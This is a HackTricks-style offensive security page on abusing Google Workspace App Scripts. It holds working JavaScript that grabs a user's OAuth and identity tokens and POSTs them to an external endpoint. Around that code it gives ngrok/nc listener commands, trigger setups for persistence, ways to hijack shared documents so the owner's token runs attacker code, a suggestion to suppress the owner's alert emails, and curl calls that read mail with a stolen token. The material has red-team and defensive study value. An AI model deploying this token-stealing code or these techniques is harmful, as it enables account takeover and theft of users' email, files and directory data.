GWS - App Scripts

Support HackTricks

App Scripts

App Scripts is code that will be triggered when a user with editor permission access the doc the App Script is linked with and after accepting the OAuth prompt. They can also be set to be executed every certain time by the owner of the App Script (Persistence).

Create App Script

There are several ways to create an App Script, although the most common ones are from a Google Document (of any type) and as a standalone project:

Create a container-bound project from Google Docs, Sheets, or Slides
  1. Open a Docs document, a Sheets spreadsheet, or Slides presentation.

  2. Click Extensions > Google Apps Script.

  3. In the script editor, click Untitled project.

  4. Give your project a name and click Rename.

Create a standalone project

To create a standalone project from Apps Script:

  1. Click add New Project.

  2. In the script editor, click Untitled project.

  3. Give your project a name and click Rename.

Create a standalone project from Google Drive
  1. Click New > More > Google Apps Script.

Create a container-bound project from Google Forms
  1. Open a form in Google Forms.

  2. Click More more_vert > Script editor.

  3. In the script editor, click Untitled project.

  4. Give your project a name and click Rename.

Create a standalone project using the clasp command line tool

clasp is a command line tool that allows you create, pull/push, and deploy Apps Script projects from a terminal.

See the Command Line Interface using clasp guide for more details.

App Script Scenario

Create Google Sheet with App Script

Start by crating an App Script, my recommendation for this scenario is to create a Google Sheet and go to Extensions > App Scripts, this will open a new App Script for you linked to the sheet.

Leak token

In order to give access to the OAuth token you need to click on Services + and add scopes like:

  • AdminDirectory: Access users and groups of the directory (if the user has enough permissions)

  • Gmail: To access gmail data

  • Drive: To access drive data

  • Google Sheets API: So it works with the trigger

To change yourself the needed scopes you can go to project settings and enable: Show "appsscript.json" manifest file in editor.

function getToken() {
  var userEmail = Session.getActiveUser().getEmail();
  var domain = userEmail.substring(userEmail.lastIndexOf("@") + 1);
  var oauthToken = ScriptApp.getOAuthToken();
  var identityToken = ScriptApp.getIdentityToken();
  // Data json
  data = {
    "oauthToken": oauthToken,
    "identityToken": identityToken,
    "email": userEmail,
    "domain": domain

  // Send data
  // Use the APIs, if you don't even if the have configured them in appscript.json the App script won't ask for permissions
  // To ask for AdminDirectory permissions
  var pageToken = "";
  page = AdminDirectory.Users.list({
    domain: domain,  // Use the extracted domain
    orderBy: 'givenName',
    maxResults: 100,
    pageToken: pageToken

  // To ask for gmail permissions
  var threads = GmailApp.getInboxThreads(0, 10);

  // To ask for drive permissions
  var files = DriveApp.getFiles();

function makePostRequest(data) {
  var url = '';
  var options = {
    'method' : 'post',
    'contentType': 'application/json',
    'payload' : JSON.stringify(data)
  try {
    UrlFetchApp.fetch(url, options);
  } catch (e) {
    Logger.log("Error making POST request: " + e.toString());

To capture the request you can just run:

ngrok tcp 4444
nc -lv 4444 #macOS

Permissions requested to execute the App Script:

As an external request is made the OAuth prompt will also ask to permission to reach external endpoints.

Create Trigger

Once the App is read, click on ⏰ Triggers to create a trigger. As function ro tun choose getToken, runs at deployment Head, in event source select From spreadsheet and event type select On open or On edit (according to your needs) and save.

Note that you can check the runs of the App Scripts in the Executions tab if you want to debug something.


In order to trigger the App Script the victim needs to connect with Editor Access.

The token used to execute the App Script will be the one of the creator of the trigger, even if the file is opened as Editor by other users.

Abusing Shared With Me documents

If someone shared with you a document with App Scripts and a trigger using the Head of the App Script (not a fixed deployment), you can modify the App Script code (adding for example the steal token functions), access it, and the App Script will be executed with the permissions of the user that shared the document with you! (note that the owners OAuth token will have as access scopes the ones given when the trigger was created).

A notification will be sent to the creator of the script indicating that someone modified the script (What about using gmail permissions to generate a filter to prevent the alert?)

If an attacker modifies the scopes of the App Script the updates won't be applied to the document until a new trigger with the changes is created. Therefore, an attacker won't be able to steal the owners creator token with more scopes than the one he set in the trigger he created.

Copying instead of sharing

When you create a link to share a document a link similar to this one is created:[...]aIUD/edit If you change the ending "/edit" for "/copy", instead of accessing it google will ask you if you want to generate a copy of the document:

If the user copies it an access it both the contents of the document and the App Scripts will be copied, however the triggers are not, therefore nothing will be executed.

Sharing as Web Application

Note that it's also possible to share an App Script as a Web application (in the Editor of the App Script, deploy as a Web application), but an alert such as this one will appear:

Followed by the typical OAuth prompt asking for the needed permissions.


You can test a gathered token to list emails with:

curl -X GET "<user@email>/messages" \
-H "Authorization: Bearer <token>"

List calendar of the user:

curl -H "Authorization: Bearer $OAUTH_TOKEN" \
     -H "Accept: application/json" \

App Script as Persistence

One option for persistence would be to create a document and add a trigger for the the getToken function and share the document with the attacker so every-time the attacker opens the file he exfiltrates the token of the victim.

It's also possible to create an App Script and make it trigger every X time (like every minute, hour, day...). An attacker that has compromised credentials or a session of a victim could set an App Script time trigger and leak a very privileged OAuth token every day:

Just create an App Script, go to Triggers, click on Add Trigger, and select as event source Time-driven and select the options that better suits you:

This will create a security alert email and a push message to your mobile alerting about this.

Shared Document Unverified Prompt Bypass

Moreover, if someone shared with you a document with editor access, you can generate App Scripts inside the document and the OWNER (creator) of the document will be the owner of the App Script.

This means, that the creator of the document will appear as creator of any App Script anyone with editor access creates inside of it.

This also means that the App Script will be trusted by the Workspace environment of the creator of the document.

This also means that if an App Script already existed and people have granted access, anyone with Editor permission on the doc can modify it and abuse that access. To abuse this you also need people to trigger the App Script. And one neat trick if to publish the script as a web app. When the people that already granted access to the App Script access the web page, they will trigger the App Script (this also works using <img> tags).

Support HackTricks

Last updated